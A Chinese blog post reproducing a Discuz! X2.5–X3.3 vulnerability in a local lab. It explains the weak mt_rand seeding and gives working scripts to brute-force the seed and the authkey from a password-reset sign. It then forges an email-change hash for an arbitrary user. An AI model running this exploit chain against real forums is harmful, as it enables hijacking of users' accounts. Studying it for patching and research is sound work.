DiscuzX3.3 authkey可爆破漏洞复现


前言

在看了一个师傅写的 Discuz_X authkey安全性漏洞分析文章后,对其中的某些点还是有些模糊,于是决定下载DiscuzX3.3将authkey可爆破漏洞复现下,尽可能的说清楚复现的每一步及其利用的工具和脚本。

漏洞详情

2017年8月1日,Discuz!发布了X3.4版本,此次更新中修复了authkey生成算法的安全性漏洞,通过authkey安全性漏洞,我们可以获得authkey。系统中逻辑大量使用authkey以及authcode算法,通过该漏洞可导致一系列安全问题:邮箱校验的hash参数被破解,导致任意用户绑定邮箱可被修改等…

漏洞影响版本:

  • Discuz_X3.3_SC_GBK
  • Discuz_X3.3_SC_UTF8
  • Discuz_X3.3_TC_BIG5
  • Discuz_X3.3_TC_UTF8
  • Discuz_X3.2_SC_GBK
  • Discuz_X3.2_SC_UTF8
  • Discuz_X3.2_TC_BIG5
  • Discuz_X3.2_TC_UTF8
  • Discuz_X2.5_SC_GBK
  • Discuz_X2.5_SC_UTF8
  • Discuz_X2.5_TC_BIG5
  • Discuz_X2.5_TC_UTF8

漏洞分析

authkey的产生

install/index.php中有关于authkey的产生方法:

$uid = DZUCFULL ? 1 : $adminuser['uid'];
$authkey = substr(md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.
                $username.$password.$pconnect.substr($timestamp, 0, 6)), 8, 6).random(10);
$_config['db'][1]['dbhost'] = $dbhost;
$_config['db'][1]['dbname'] = $dbname;
$_config['db'][1]['dbpw'] = $dbpw;
$_config['db'][1]['dbuser'] = $dbuser;
$_config['db'][1]['tablepre'] = $tablepre;
$_config['admincp']['founder'] = (string)$uid;
$_config['security']['authkey'] = $authkey;
$_config['cookie']['cookiepre'] = random(4).'_';
$_config['memory']['prefix'] = random(6).'_';

authkey是由多个服务器变量,数据库信息md5的前6位加random函数生成的随机10位数,前6位数字我们无从得知,但是问题就出现在了random函数上,跟进random函数,
/ucserver/install/func.inc.php中:

function random($length) {
	$hash = '';
	$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
	$max = strlen($chars) - 1;
	PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
	for($i = 0; $i < $length; $i++) {
		$hash .= $chars[mt_rand(0, $max)];
	}
	return $hash;
}

可以看到当PHP版本>=4.2时,mt_rand的随机数种子是固定的。现在的思路是计算随机数种子,使用随机数种子生成 authkey,找到可以验证authkey是否正确的接口,爆破得出authkey。很幸运的是Discuz有很多地方使用到了authkey来生成一些信息,利用这点就可以验证authkey的正确性,这个我们后面会提到。

关于mt_rand

mt_rand() 函数使用 Mersenne Twister 算法生成随机整数。
该函数是产生随机值的更好选择,返回结果的速度是 rand() 函数的 4 倍。
如果您想要一个介于 10 和 100 之间(包括 10 和 100)的随机整数,请使用 mt_rand (10,100)。

语法:

mt_rand();
or
mt_rand(min,max);

ok,了解了mt_rand函数的用法后,我们使用mt_rand来生成10个1-100之间的随机数:

代码如下:

<?php
mt_srand(12345);
for($i=0;$i<10;$i++){
echo (mt_rand(1,100));
echo ("\n");
}

结果:

20200513153543

在运行一次:

20200513153620

可以看到两次运行产生的随机数竟然是一样的,我们把这个称为伪“随机数”,正是由于mt_rand函数的这种特性,我们才可以进行随机数的预测,关于”伪随机数”的详细介绍可以看看下面这两篇文章:

爆破随机数种子

ok,了解了mt_rand函数后,需要做的就是爆破出随机数种子,在/install/index.php中可看到cookie的前缀的前四位也是由random函数生成的,而cookie我们是可以看到的:

$_config['cookie']['cookiepre'] = random(4).'_';

20200513154941

cookie前缀为:CHFV

那我们就可以使用字符集加上4位已知字符,爆破随机数种子,爆破随机数种子的工具已经有人写出,地址为:https://www.openwall.com/php_mt_seed/,关于此工具的使用方法可自行查阅。

首先使用脚本生成用于php_mt_seed工具的参数:

# coding=utf-8
w_len = 10
result = ""
str_list = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"
length = len(str_list)
for i in xrange(w_len):
	result+="0 "
	result+=str(length-1)
	result+=" "
	result+="0 "
	result+=str(length-1)
	result+=" "
sstr = "CHFV"
for i in sstr:
	result+=str(str_list.index(i))
	result+=" "
	result+=str(str_list.index(i))
	result+=" "
	result+="0 "
	result+=str(length-1)
	result+=" "
print result

结果为:

0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 2 2 0 61 7 7 0 61 5 5 0 61 21 21 0 61

使用php_mt_seed工具爆破随机数种子:

20200513180459

由于当前使用的php版本为5.6,符合结果的一共有293个。

爆破authkey

获得了随机数种子后,利用随机数种子使用random函数生成随机字符串用于后面的authkey爆破,生成随机字符串的脚本如下:

<?php
function random($length) {
	$hash = '';
	$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
	$max = strlen($chars) - 1;
	PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
	for($i = 0; $i < $length; $i++) {
		$hash .= $chars[mt_rand(0, $max)];
	}
	return $hash;
}
$fp = fopen('result1.txt', 'r');
$fp2 = fopen('result2.txt', 'a');
while(!feof($fp)){
	$b = fgets($fp, 4096);
	if(preg_match("/([=\s].*[=\s])(\d+)[\s]/", $b, $matach)){
		$m = $matach[2];
	}else{
		continue;
	}
	// var_dump($matach);
	// var_dump($m);
	mt_srand($m);
	fwrite($fp2, random(10)."\n");
}
fclose($fp);
fclose($fp2);

如何验证authkey的正确性呢?我们注意到在找回密码时,系统给用户发送的邮件中的链接如下:

20200513191659

把目光转移到代码中,寻找sign值的生成方式,在/source/module/member/member_lostpassw.php有如下代码:

20200513192011

跟进到make_getpws_sign函数中:

20200513192147

继续跟进到dsign函数中:

20200513192254

发现dsign配合使用了authkey来生成sign值,那么我们接下来要做的就是模拟这个过程来获取找回密码处的uid,id,sign值来爆破authkey,下面是爆破脚本:

#coding: utf-8
import itertools
import hashlib
import time
def dsign(authkey):
	url = "http://127.0.0.1/dz3.3/"
	idstring = "xZhQzV"
	uid = 2
	uurl = "{}member.php?mod=getpasswd&uid={}&id={}".format(url, uid, idstring)
	url_md5 = hashlib.md5(uurl+authkey)
	return url_md5.hexdigest()[:16]
def main():
	sign = "6e2b1a0bb563da89"
	str_list = "0123456789abcdef"
	with open('result2.txt') as f:
		ranlist = [s[:-1] for s in f]
	s_list = sorted(set(ranlist), key=ranlist.index)
	r_list = itertools.product(str_list, repeat=6)
	print "[!] start running...."
	s_time = time.time()
	for j in r_list:
		for s in s_list:
			prefix = "".join(j)
			authkey = prefix + s
			# print dsign(authkey)
			if dsign(authkey) == sign:
				print "[*] found used time: " + str(time.time() - s_time)
				return "[*] authkey found: " + authkey
print main()

用上述脚本跑了大概2个小时,跑出了authkey。(脚本是单线程的,跑的有点慢,追求速度的同学可以将其改为多线程)

20200514125716

在和配置文件中的authkey对比一下,可以看到是一样的。

20200514125819

至此,authkey已经被我们爆破出来了,有了authkey以后我们可以用来重置任意用户的邮箱地址。

漏洞利用

当我们需要重置用户邮箱时,系统会发一份下面这样的邮件:

20200514130735

可以看到重置链接中最重要的是hash的参数值,有了这个hash值就可以重置邮件地址了。

回到代码/source/include/misc/misc_emailcheck.php中,这个文件是验证重置邮件链接中hash值的:

贴一段主要的代码:

<?php

/**
 *      [Discuz!] (C)2001-2099 Comsenz Inc.
 *      This is NOT a freeware, use is subject to license terms
 *
 *      $Id: misc_emailcheck.php 33688 2013-08-02 03:00:15Z nemohou $
 */

if(!defined('IN_DISCUZ')) {
	exit('Access Denied');
}

$uid = 0;
$email = '';
$_GET['hash'] = empty($_GET['hash']) ? '' : $_GET['hash'];
if($_GET['hash']) {
	list($uid, $email, $time) = explode("\t", authcode($_GET['hash'], 'DECODE', md5(substr(md5($_G['config']['security']['authkey']), 0, 16))));
	$uid = intval($uid);
}

if($uid && isemail($email) && $time > TIMESTAMP - 86400) {
	$member = getuserbyuid($uid);
	$setarr = array('email'=>$email, 'emailstatus'=>'1');
	if($_G['member']['freeze'] == 2) {
		$setarr['freeze'] = 0;
	}
	loaducenter();
	$ucresult = uc_user_edit(addslashes($member['username']), '', '', $email, 1);
	if($ucresult == -8) {
		showmessage('email_check_account_invalid', '', array(), array('return' => true));
	} elseif($ucresult == -4) {
		showmessage('profile_email_illegal', '', array(), array('return' => true));
	} elseif($ucresult == -5) {
		showmessage('profile_email_domain_illegal', '', array(), array('return' => true));
	} elseif($ucresult == -6) {
		showmessage('profile_email_duplicate', '', array(), array('return' => true));
	}
	if($_G['setting']['regverify'] == 1 && $member['groupid'] == 8) {
		$membergroup = C::t('common_usergroup')->fetch_by_credits($member['credits']);
		$setarr['groupid'] = $membergroup['groupid'];
	}
	updatecreditbyaction('realemail', $uid);
	C::t('common_member')->update($uid, $setarr);
	C::t('common_member_validate')->delete($uid);
	dsetcookie('newemail', "", -1);

	showmessage('email_check_sucess', 'home.php?mod=spacecp&ac=profile&op=password', array('email' => $email));
} else {
	showmessage('email_check_error', 'index.php');
}

?>

当hash传入的时候,服务端会调用authcode函数解码获得用户的uid,要修改成的email,时间戳。然后经过一次判断就进入逻辑修改email,这里没有额外的判断。uid是从1开始依次增加的,也就是说我们可以重置任意用户的email地址。

跟进到authcode函数,并使用此函数获取hash值.

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

	$ckey_length = 4;

	$key = md5($key ? $key : UC_KEY);
	$keya = md5(substr($key, 0, 16));
	$keyb = md5(substr($key, 16, 16));
	$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

	$cryptkey = $keya.md5($keya.$keyc);
	$key_length = strlen($cryptkey);

	$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
	$string_length = strlen($string);

	$result = '';
	$box = range(0, 255);

	$rndkey = array();
	for($i = 0; $i <= 255; $i++) {
		$rndkey[$i] = ord($cryptkey[$i % $key_length]);
	}

	for($j = $i = 0; $i < 256; $i++) {
		$j = ($j + $box[$i] + $rndkey[$i]) % 256;
		$tmp = $box[$i];
		$box[$i] = $box[$j];
		$box[$j] = $tmp;
	}

	for($a = $j = $i = 0; $i < $string_length; $i++) {
		$a = ($a + 1) % 256;
		$j = ($j + $box[$a]) % 256;
		$tmp = $box[$a];
		$box[$a] = $box[$j];
		$box[$j] = $tmp;
		$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
	}

	if($operation == 'DECODE') {
		if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
			return substr($result, 26);
		} else {
			return '';
		}
	} else {
		return $keyc.str_replace('=', '', base64_encode($result));
	}

}

echo authcode("3\ttest@test.com\t1593556905", 'ENCODE', md5(substr(md5("c0dc85pjkmNEfXuw"), 0, 16)));

20200514142645

直接用这个hash就可重置uid为3的用户的邮件地址:

20200514142557

最后

获取authkey之后对前台用户影响巨大,例如我们仅靠authkey就可以修改所有用户的邮件地址,另外前台cookie,多个点的验证中都涉及到了authkey。至于如何依靠authkey来达到更进一步的利用,各位可继续进行探索。另外强烈推荐看这篇关于Discuz漏洞的总结文章这是一篇“不一样”的真实渗透测试案例分析文章

文中所用到的代码在:github,请自取。

参考


文章作者: darkless
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 darkless !
评论
  目录